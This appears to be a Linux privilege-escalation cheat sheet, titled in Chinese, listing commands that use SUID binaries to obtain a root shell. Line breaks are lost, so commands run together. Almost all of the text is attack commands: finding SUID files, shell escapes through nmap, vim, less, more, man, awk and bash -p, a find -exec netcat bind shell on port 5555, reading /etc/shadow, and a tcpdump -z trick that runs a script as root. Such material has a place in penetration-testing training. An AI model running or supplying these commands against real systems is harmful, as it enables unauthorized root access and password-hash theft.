Linux下利用SUID提权

NmapVimfindBashMoreLessNanocp

find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} ;

ls -l /usr/bin/nmap-rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmap

nmap -V

nmap --interactive

nmap> !shsh-3.2# whoamiroot

exploit/unix/local/setuid_nmap

touch pentestlabfind pentestlab -exec whoami ;

find pentestlab -exec netcat -lvp 5555 -e /bin/sh ;

netcat 192.168.1.189 5555idcat /etc/shadow

vim.tiny /etc/shadow

vim.tiny# Press ESC key:set shell=/bin/sh:shell

bash -pbash-3.2# iduid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

less /etc/passwd!/bin/sh

more /home/pelle/myfile!/bin/bash

awk 'BEGIN {system("/bin/bash")}'

man passwd!/bin/bash

echo $'idncat /etc/shadow' > /tmp/.testchmod +x /tmp/.testsudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root